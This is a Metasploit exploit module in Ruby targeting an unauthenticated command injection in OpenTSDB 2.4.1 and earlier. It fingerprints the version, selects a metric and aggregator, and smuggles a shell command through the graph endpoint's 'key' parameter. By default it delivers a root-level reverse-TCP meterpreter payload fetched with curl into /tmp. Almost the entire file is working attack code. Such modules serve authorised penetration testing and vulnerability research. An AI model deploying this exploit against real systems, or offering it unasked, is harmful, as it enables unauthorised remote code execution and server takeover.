238 lines
8.6 KiB
Ruby
238 lines
8.6 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::CmdStager
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'OpenTSDB 2.4.1 unauthenticated command injection',
|
|
'Description' => %q{
|
|
This module exploits an unauthenticated command injection
|
|
vulnerability in the key parameter in OpenTSDB through
|
|
2.4.1 (CVE-2023-36812/CVE-2023-25826) in order to achieve
|
|
unauthenticated remote code execution as the root user.
|
|
|
|
The module first attempts to obtain the OpenTSDB version via
|
|
the api. If the version is 2.4.1 or lower, the module
|
|
performs additional checks to obtain the configured metrics
|
|
and aggregators. It then randomly selects one metric and one
|
|
aggregator and uses those to instruct the target server to
|
|
plot a graph. As part of this request, the key parameter is
|
|
set to the payload, which will then be executed by the target
|
|
if the latter is vulnerable.
|
|
|
|
This module has been successfully tested against OpenTSDB
|
|
version 2.4.1.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Gal Goldstein', # discovery
|
|
'Daniel Abeles', # discovery
|
|
'Erik Wynter' # @wyntererik - Metasploit
|
|
],
|
|
'References' => [
|
|
['URL', 'https://github.com/OpenTSDB/opentsdb/security/advisories/GHSA-76f7-9v52-v2fw'], # security advisory
|
|
['CVE', '2023-36812'], # CVE linked in the official security advisory
|
|
['CVE', '2023-25826'] # CVE that seems to be a dupe of CVE-2023-36812 since it describes the same issue and references the PR that introduces the commits that are referenced in CVE-2023-36812
|
|
],
|
|
'Platform' => 'linux',
|
|
'Arch' => 'ARCH_CMD',
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',
|
|
'RPORT' => 4242,
|
|
'SRVPORT' => 8080,
|
|
'FETCH_COMMAND' => 'CURL',
|
|
'FETCH_FILENAME' => Rex::Text.rand_text_alpha(2..4),
|
|
'FETCH_WRITABLE_DIR' => '/tmp',
|
|
'FETCH_SRVPORT' => 8081
|
|
},
|
|
'Targets' => [ [ 'Linux', {} ] ],
|
|
'DefaultTarget' => 0,
|
|
'Privileged' => true,
|
|
'DisclosureDate' => '2023-07-01',
|
|
'Notes' => {
|
|
'Stability' => [ CRASH_SAFE ],
|
|
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
|
|
'Reliability' => [ REPEATABLE_SESSION ]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options [
|
|
OptString.new('TARGETURI', [true, 'The base path to OpenTSDB', '/']),
|
|
]
|
|
end
|
|
|
|
def check
|
|
# sanity check to see if the target is likely OpenTSDB
|
|
res1 = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path)
|
|
})
|
|
|
|
unless res1
|
|
return CheckCode::Unknown('Connection failed.')
|
|
end
|
|
|
|
unless res1.code == 200 && res1.get_html_document.xpath('//title').text.include?('OpenTSDB')
|
|
return CheckCode::Safe('Target is not an OpenTSDB application.')
|
|
end
|
|
|
|
# get the version via the api
|
|
res2 = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'api', 'version')
|
|
})
|
|
|
|
unless res2
|
|
return CheckCode::Unknown('Connection failed.')
|
|
end
|
|
|
|
unless res2.code == 200 && res2.body.include?('version')
|
|
return CheckCode::Detected('Target may be OpenTSDB but the version could not be determined.')
|
|
end
|
|
|
|
begin
|
|
parsed_res_body = JSON.parse(res2.body)
|
|
rescue JSON::ParserError
|
|
return CheckCode::Detected('Could not determine the OpenTSDB version: the HTTP response body did not match the expected JSON format.')
|
|
end
|
|
|
|
unless parsed_res_body.is_a?(Hash) && parsed_res_body.key?('version')
|
|
return CheckCode::Detected('Could not determine the OpenTSDB version: the HTTP response body did not match the expected JSON format.')
|
|
end
|
|
|
|
version = parsed_res_body['version']
|
|
|
|
begin
|
|
if Rex::Version.new(version) <= Rex::Version.new('2.4.1')
|
|
return CheckCode::Appears("The target is OpenTSDB version #{version}")
|
|
else
|
|
return CheckCode::Safe("The target is OpenTSDB version #{version}")
|
|
end
|
|
rescue ArgumentError => e
|
|
return CheckCode::Unknown("Failed to obtain a valid OpenTSDB version: #{e}")
|
|
end
|
|
end
|
|
|
|
def select_metric
|
|
# check if any metrics have been configured. if not, exploitation cannot work
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'suggest'),
|
|
'vars_get' => { 'type' => 'metrics' }
|
|
})
|
|
|
|
unless res
|
|
fail_with(Failure::Unknown, 'Connection failed.')
|
|
end
|
|
|
|
unless res.code == 200
|
|
fail_with(Failure::UnexpectedReply, "Received unexpected status code #{res.code} when checking the configured metrics")
|
|
end
|
|
|
|
begin
|
|
metrics = JSON.parse(res.body)
|
|
rescue JSON::ParserError
|
|
fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured metrics: The response body did not contain valid JSON.')
|
|
end
|
|
|
|
unless metrics.is_a?(Array)
|
|
fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured metrics: The response body did not contain a JSON array')
|
|
end
|
|
|
|
if metrics.empty?
|
|
fail_with(Failure::NoTarget, 'Failed to identify any configured metrics. This makes exploitation impossible')
|
|
end
|
|
|
|
# select a random metric since any will do
|
|
@metric = metrics.sample
|
|
print_status("Identified #{metrics.length} configured metrics. Using metric #{@metric}")
|
|
end
|
|
|
|
def select_aggregator
|
|
# check the configured aggregators and select one at random
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'aggregators')
|
|
})
|
|
|
|
unless res
|
|
fail_with(Failure::Unknown, 'Connection failed.')
|
|
end
|
|
|
|
unless res.code == 200
|
|
fail_with(Failure::UnexpectedReply, "Received unexpected status code #{res.code} when checking the configured aggregators")
|
|
end
|
|
|
|
begin
|
|
aggregators = JSON.parse(res.body)
|
|
rescue JSON::ParserError
|
|
fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured aggregators: The response body did not contain valid JSON.')
|
|
end
|
|
|
|
unless aggregators.is_a?(Array)
|
|
fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured aggregators: The response body did not contain a JSON array')
|
|
end
|
|
|
|
if aggregators.empty?
|
|
fail_with(Failure::NoTarget, 'Failed to identify any configured aggregators. This makes exploitation impossible')
|
|
end
|
|
|
|
# select a random aggregator since any will do
|
|
@aggregator = aggregators.sample
|
|
print_status("Identified #{aggregators.length} configured aggregators. Using aggregator #{@aggregator}")
|
|
end
|
|
|
|
def execute_command(cmd, _opts = {})
|
|
# we need to percent encode the entire command.
|
|
# however, the + character cannot be used and percent encoding does not help for it. so we need to change chmod +x with chmod 744
|
|
cmd = CGI.escape(cmd.gsub('chmod +x', 'chmod 744'))
|
|
start_time = rand(20.year.ago..10.year.ago) # this should be a date far enough in the past to make sure we capture all possible data
|
|
start_value = start_time.strftime('%Y/%m/%d-%H:%M:%S')
|
|
end_time = rand(1.year.since..10.year.since) # this can be a date in the future to make sure we capture all possible data
|
|
end_value = end_time.strftime('%Y/%m/%d-%H:%M:%S')
|
|
get_vars = {
|
|
'start' => start_value,
|
|
'end' => end_value,
|
|
'm' => "#{@aggregator}:#{@metric}",
|
|
'o' => 'axis+x1y2',
|
|
'ylabel' => Rex::Text.rand_text_alphanumeric(8..12),
|
|
'y2label' => Rex::Text.rand_text_alphanumeric(8..12),
|
|
'yrange' => '[0:]',
|
|
'y2range' => '[0:]',
|
|
'key' => "%3Bsystem%20%22#{cmd}%22%20%22",
|
|
'wxh' => "#{rand(800..1600)}x#{rand(400..600)}",
|
|
'style' => 'linespoint'
|
|
}
|
|
|
|
exploit_uri = '?'
|
|
get_vars.each do |key, value|
|
|
exploit_uri += "#{key}=#{value}&"
|
|
end
|
|
exploit_uri += 'json'
|
|
|
|
# using a raw request because cgi was leading to encoding issues
|
|
send_request_raw({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'q' + exploit_uri)
|
|
}, 0) # we don't have to wait for a reply here
|
|
end
|
|
|
|
def exploit
|
|
select_metric
|
|
select_aggregator
|
|
print_status('Executing the payload')
|
|
execute_command(payload.encoded)
|
|
end
|
|
end
|